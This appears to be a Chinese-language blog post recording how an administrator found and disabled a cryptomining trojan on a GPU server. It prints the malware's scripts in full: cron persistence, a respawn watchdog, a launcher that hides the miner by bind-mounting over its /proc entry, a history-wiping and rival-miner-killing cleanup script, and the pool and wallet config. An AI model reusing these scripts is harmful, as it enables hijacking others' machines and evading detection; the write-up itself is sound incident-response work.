- 处理服务器上的挖矿木马小记
- 挖矿木马发现
- 挖矿程序定位(失败)
- 异常用户排查
- 挖矿程序定位(成功)
- 挖矿木马分析
- 解决木马的方法
- 参考:
- https://zhuanlan.zhihu.com/p/405165722
- https://www.modb.pro/db/107110
- 通过nvidia-smi发现异常占用程序python36
nvidia-smi挖矿程序定位(失败)
- 通过ps命令获取进程相关信息
ps -ef | grep python36
- 经观察,发现/bin/python36和/bin/config.py每小时由root重新创建一次且运行,怀疑设定了cron定时任务,但检索各种cron配置无果。
查看用户定时任务:crontab -l 编辑用户定时任务:crontab -e 路径存放处: /etc/crontab /var/spool/cron/root /var/spool/cron/crontabs/root
- systemctl查看父进程信息
systemctl status 59744
确实是使用了cron设置定时任务
- 查看/tmp下是否有可疑文件,并没有,清得挺干净
- 排查/etc/passwd,发现异常用户roo1,先用pwck修复密码文件,然后将其删除
pwck userdel -r roo1挖矿程序定位(成功)
- 根据/bin/python36挖矿程序的大小进行查找,发现在/opt/.opt里有可疑程序,执行后确认为挖矿木马相关的所有程序!
find / -size 5222752c挖矿木马分析
每次运行,会修改dir.dir、cron.d、upd、bash.pid(进程号)、.a(日志文件)
1:lolMiner程序
2:config文件内容(挖矿账号)
algo=ETHASH pool=node.universitynetservice1979.info:12020 tls=on user=0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.XXXUSERXXX
a:写入upd,写入crontab,运行run(最开始的一次)
pwd > dir.dir dir=$(cat dir.dir) #echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d echo "@reboot $dir/upd >/dev/null 2>&1" >> cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=$(cat $dir/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then sleep 1 else cd $dir ./run &>/dev/null exit 0 fi fi" >upd chmod u+x upd ./run &>/dev/null
bash.pid:
61731
c:“善后”程序,清理各种可疑痕迹
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
sleep 3
crontab -r >.a
chattr -uais /tmp* >.a
chattr -uais /tmp/.*/* >.a
for pid in $(ps -ef | grep "x.sh" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "xmr-stak" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "yam" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "top" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "htop" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "stratum" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "yam32" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "httpd.conf" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "xmr" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "cryptonight" | awk '{print $2}'); do kill -9 $pid; done >.a
sleep 3
kill -9 `ps x|grep " -tty"|awk '{print $1}'` > .a
kill -9 `ps x|grep " -sshd"|awk '{print $1}'` > .a
kill -9 `ps x|grep hpiod|awk '{print $1}'` > .a
kill -9 `ps x|grep hpssd.py|awk '{print $1}'` > .a
kill -9 `ps x|grep httpd.conf|grep -v grep|awk '{print $1}'` > .a
kill -9 `ps x|grep httpsd|awk '{print $1}'` > .a
kill -9 `ps x|grep crypto|awk '{print $1}'` > .a
kill -9 `ps x|grep md32|awk '{print $1}'` > .a
kill -9 `ps x|grep mdx|awk '{print $1}'` > .a
kill -9 `ps x|grep run64|awk '{print $1}'` > .a
kill -9 `ps x|grep /sbin/klogd|awk '{print $1}'` > .a
kill -9 `ps x|grep /sbin/syslogd|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/|awk '{print $1}'` > .a
kill -9 `ps x|grep cpuminer|awk '{print $1}'` > .a
kill -9 `ps x|grep /usr/sbin/acpid|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/yam|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/yam32|awk '{print $1}'` > .a
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'` >.a
kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'` >.a
sleep 3
killall -9 a bssh >.a
killall -9 f b >.a
killall -9 a bssh >.a
killall -9 s >.a
killall -9 b >.a
sleep 3
echo "DONE"
cron.d:
@reboot /opt/.opt/upd >/dev/null 2>&1 @reboot /opt/.opt/upd >/dev/null 2>&1
dir.dir:
/opt/.opt
run:运行挖矿程序
#!/bin/bash proc=`nproc` ARCH=`uname -m` HIDE="python3" User="default" proxy="" ifsudo="" if [ -f "user" ]; then User=`cat user` fi if [ `id -u` -eq 0 ];then ifsudo="sudo" else ifsudo="" fi chattr -ai /bin/python36 rm -rf /bin/python36 chattr -ai /bin/config.py rm -rf /bin/config.py if [ -f "proxy" ]; then proxy=`cat proxy` cp -rf 1 /bin/python36 cp -rf 2 /bin/config.py sed -i "s/XXXPROXYXXX/$proxy/" /bin/config.py sed -i "s/XXXUSERXXX/$User/" /bin/config.py else cp -rf 1 /bin/python36 cp -rf 2 /bin/config.py sed -i "s/XXXPROXYXXX//" /bin/config.py sed -i "s/XXXUSERXXX/$User/" /bin/config.py fi $ifsudo nohup /bin/python36 --config /bin/config.py >>/dev/null & echo $! > bash.pid mkdir /tmp/empty PID=`cat bash.pid` mount --bind /tmp/empty /proc/$PID
upd:将run运行起来(防删作用)
#!/bin/sh if test -r /opt/.opt/bash.pid; then pid=$(cat /opt/.opt/bash.pid) if $(kill -CHLD $pid >/dev/null 2>&1) then sleep 1 else cd /opt/.opt ./run &>/dev/null exit 0 fi fi
user:
D-12
x:
nohup ./a >>/dev/null &解决木马的方法
为了避免出现其它问题(网上有人删除python36后显卡驱动会连接不上,不知道是什么原理),暂时采用如下方案:
修改“2”,将内容清空,这样config.py就会是空文档,lolminer无法运行。
实测这样处理后python36就会因配置文件空白无法启动,问题解决。
但是这样木马仍会尝试定时运行(只是到启动python36步骤失败,可以看出bash.pid等文件仍在不断更新),因此把其它木马程序(a、cron.d、dir.dir、run、upd、user、x)也尝试写成空文件。



